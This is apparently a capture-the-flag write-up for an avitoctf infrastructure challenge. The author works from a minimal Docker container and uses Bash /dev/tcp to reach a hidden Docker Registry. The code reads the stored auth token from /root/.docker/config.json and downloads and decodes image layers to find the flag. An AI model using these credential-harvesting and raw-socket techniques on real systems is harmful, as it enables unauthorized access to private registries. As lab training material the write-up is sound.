← Back to Writeups
CUSTOMMediumInfrastructure

Разбор ботнета

XESXOR9/10/20266 min read
#infrastructure#custom#medium#bash_dev_tcp#registry_api_traversal#docker_layer_extraction#linux

Разбор ботнета

Platform: avitoctf | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: bash_dev_tcp, registry_api_traversal, docker_layer_extraction

Summary

Task: A root shell in a deliberately minimal Docker container must reach a hidden adjacent service without normal networking tools. Solution: Bash /dev/tcp exposes an authenticated registry whose FastAPI image layers contain the target file.

Разбор ботнета — avitoctf

Description

Reconnaissance confirms bees control a huge botnet; the player has persistence in one infected container; administrators removed all diagnostic and networking tools; honey badgers dig until victory.

The challenge provided SSH access as bot to a short-lived infected container. The objective was to investigate the surrounding container infrastructure and recover the flag without standard diagnostic or network clients.

Analysis

1. A deliberately minimal container

An interactive SSH PTY eventually opened a Bash 5.2 prompt. Bash variables and pathname expansion established that the shell was already container root and that almost every normal utility was absent:

bash
printf 'BASH=%s UID=%s EUID=%s\n' "$BASH_VERSION" "$UID" "$EUID"
printf '%s\n' /bin/* /sbin/* /usr/bin/* /usr/sbin/* 2>/dev/null

The only actual executables were:

text
/bin/base64
/bin/bash
/sbin/docker-init

Commands such as id, ls, cat, curl, ssh, Python, and BusyBox were unavailable. Bash built-ins, glob expansion, input redirection, /proc, and Bash's /dev/tcp support were therefore the intended toolbox.

/proc/self/status showed UID/EUID 0, seccomp mode 2, and ordinary Docker-like effective capabilities. Mount information showed an overlay root filesystem and standard container pseudo-filesystems, but no Docker socket, management socket, host root mount, or writable cgroup escape path. There were also no useful jobs, services, SUID tools, or extra binaries. Root inside this container was the starting point, not a privilege-escalation goal.

2. Locate the adjacent service with Bash

The container address changed on each boot and belonged to a /26. Its current address appeared in /etc/hosts beside the hostname botnet. Across sessions, the intended HTTP service was consistently one IPv4 address below the current container address.

The following uses only Bash built-ins to derive that address and issue a raw request:

bash
my=
while read -r ip name rest; do
    [[ $name == botnet ]] && my=$ip
done < /etc/hosts

prefix=${my%.*}
last=${my##*.}
srv=$prefix.$((last-1))

exec 3<>/dev/tcp/$srv/5000
printf 'GET / HTTP/1.0\r\nHost: registry:5000\r\nConnection: close\r\n\r\n' >&3
while IFS= read -r -t 3 line <&3; do
    printf '%s\n' "$line"
done
exec 3>&- 3<&-

GET / returned an empty 200 OK. The important response header was:

text
Docker-Distribution-Api-Version: registry/2.0

This identified the service as a Docker Registry v2 rather than a conventional web application. Requests to /v2/ and /v2/_catalog returned 401 Unauthorized with a Basic-auth challenge.

3. Recover registry authentication

Bash globbing revealed /root/.docker/config.json. Its contents could be read without cat:

bash
while IFS= read -r line || [[ -n $line ]]; do
    printf '%s\n' "$line"
done < /root/.docker/config.json

The registry:5000 entry contained an auth field. Its Base64 value is directly suitable for the HTTP Authorization: Basic header; the credential itself is intentionally redacted here. The supplied SSH credential did not authenticate to the registry.

This extracts the field at runtime without embedding it in the script:

bash
auth=
while IFS= read -r line || [[ -n $line ]]; do
    if [[ $line == *'"auth"'* ]]; then
        value=${line#*:}
        value=${value#*\"}
        auth=${value%%\"*}
    fi
done < /root/.docker/config.json

Solution

1. Query the catalog

A reusable raw HTTP helper made authenticated registry requests possible:

bash
registry_get() {
    path=$1
    exec 3<>/dev/tcp/$srv/5000 || return
    printf 'GET %s HTTP/1.0\r\n' "$path" >&3
    printf 'Host: registry:5000\r\n' >&3
    printf 'Authorization: Basic %s\r\n' "$auth" >&3
    printf 'Accept: application/vnd.docker.distribution.manifest.v2+json\r\n' >&3
    printf 'Connection: close\r\n\r\n' >&3
    while IFS= read -r -t 4 line <&3; do
        printf '%s\n' "$line"
    done
    exec 3>&- 3<&-
}

registry_get '/v2/_catalog?n=1000'

The catalog contained three repositories:

json
{"repositories":["express","fastapi","flask"]}

2. Obtain the current FastAPI tag and manifest

Tags were dynamically generated for each challenge boot. A tag had to be queried and used during the same SSH session; copying a stale tag from an earlier session produced a failed manifest lookup.

bash
tag=
exec 3<>/dev/tcp/$srv/5000
printf 'GET /v2/fastapi/tags/list HTTP/1.0\r\n' >&3
printf 'Host: registry:5000\r\nAuthorization: Basic %s\r\n' "$auth" >&3
printf 'Connection: close\r\n\r\n' >&3
while IFS= read -r -t 4 line <&3; do
    if [[ $line == *tags* ]]; then
        value=${line#*\[\"}
        tag=${value%%\"*}
    fi
done
exec 3>&- 3<&-

registry_get "/v2/fastapi/manifests/$tag"

The schema-v2 manifest listed its layer descriptors in application order. The interesting small layers were:

SizeDigestRecovered path
356sha256:3ce590638acce65a9bc03abed076e8728ea446cfadf5cd426063151cae69e456app/main.py
171sha256:6d96f9e4ae61621a9ff9b8947393f4777879a218f55d293c0e14c740f9834adeapp/flag.txt (decoy)
185sha256:556580f9b35b0b72b144ee11e0ec1a30476505af00b9ac7ff1001bca06d102d5app/flag.txt (final content)

app/main.py simply read flag.txt and returned it from the FastAPI root route. Running the image was unnecessary because the registry already exposed every filesystem layer.

3. Download layers through /dev/tcp

Binary HTTP responses could not safely be held in Bash variables. The available /bin/base64 encoded each complete response for copying back to the analyst host:

bash
blob64() {
    digest=$1
    printf '\n=== BLOB64 %s ===\n' "$digest"
    exec 4<>/dev/tcp/$srv/5000 || return
    printf 'GET /v2/fastapi/blobs/%s HTTP/1.0\r\n' "$digest" >&4
    printf 'Host: registry:5000\r\nAuthorization: Basic %s\r\n' "$auth" >&4
    printf 'Connection: close\r\n\r\n' >&4
    /bin/base64 <&4
    exec 4>&- 4<&-
}

blob64 'sha256:3ce590638acce65a9bc03abed076e8728ea446cfadf5cd426063151cae69e456'
blob64 'sha256:6d96f9e4ae61621a9ff9b8947393f4777879a218f55d293c0e14c740f9834ade'
blob64 'sha256:556580f9b35b0b72b144ee11e0ec1a30476505af00b9ac7ff1001bca06d102d5'

After saving the output as capture.txt, this host-side extractor decodes each raw HTTP response, removes its headers, decompresses the gzip body, and inspects the tar members:

python
#!/usr/bin/env python3
import base64
import gzip
import io
import pathlib
import re
import tarfile

text = pathlib.Path("capture.txt").read_text()
parts = re.split(r"^=== BLOB64 (sha256:[0-9a-f]+) ===\n", text, flags=re.M)

for i in range(1, len(parts), 2):
    digest, block = parts[i:i + 2]
    encoded = []
    for line in block.splitlines():
        if re.fullmatch(r"[A-Za-z0-9+/=]+", line):
            encoded.append(line)
        else:
            break

    response = base64.b64decode("".join(encoded))
    headers, body = response.split(b"\r\n\r\n", 1)
    if b" 200 OK\r\n" not in headers + b"\r\n":
        raise RuntimeError(f"blob request failed: {digest}")

    tar_data = gzip.decompress(body)
    with tarfile.open(fileobj=io.BytesIO(tar_data)) as archive:
        print(f"[{digest}]")
        for member in archive.getmembers():
            print(member.name)
            if member.isfile():
                data = archive.extractfile(member).read()
                print(data.decode("utf-8", "replace"))

The earlier app/flag.txt layer contained the confirmed decoy avito{NOT_FLAG! Contact ADMINS}. The later 185-byte layer wrote the same path again and contained avito{REDACTED}.

Docker constructs an image root filesystem by applying manifest layers from first to last. When a later layer supplies the same pathname as an earlier layer, the later file is what appears in the final merged filesystem. Therefore the second app/flag.txt superseded the decoy; treating every layer as equally current would select the wrong value.

False Paths

  • There was no management socket, container runtime socket, or useful host mount.
  • The shell was already root, but its capabilities, jobs, SUID surface, and minimal filesystem provided no local escalation route.
  • Conventional application routes, documentation paths, Host variants, and HTTP method variants were dead ends; the registry response header was the decisive clue.
  • Anonymous registry access, the supplied SSH credential, and bounded role guesses did not pass Basic authentication.
  • Dynamic image tags were not peer hostnames. DNS-style interpretation was a dead end, and stale tags failed across SSH sessions.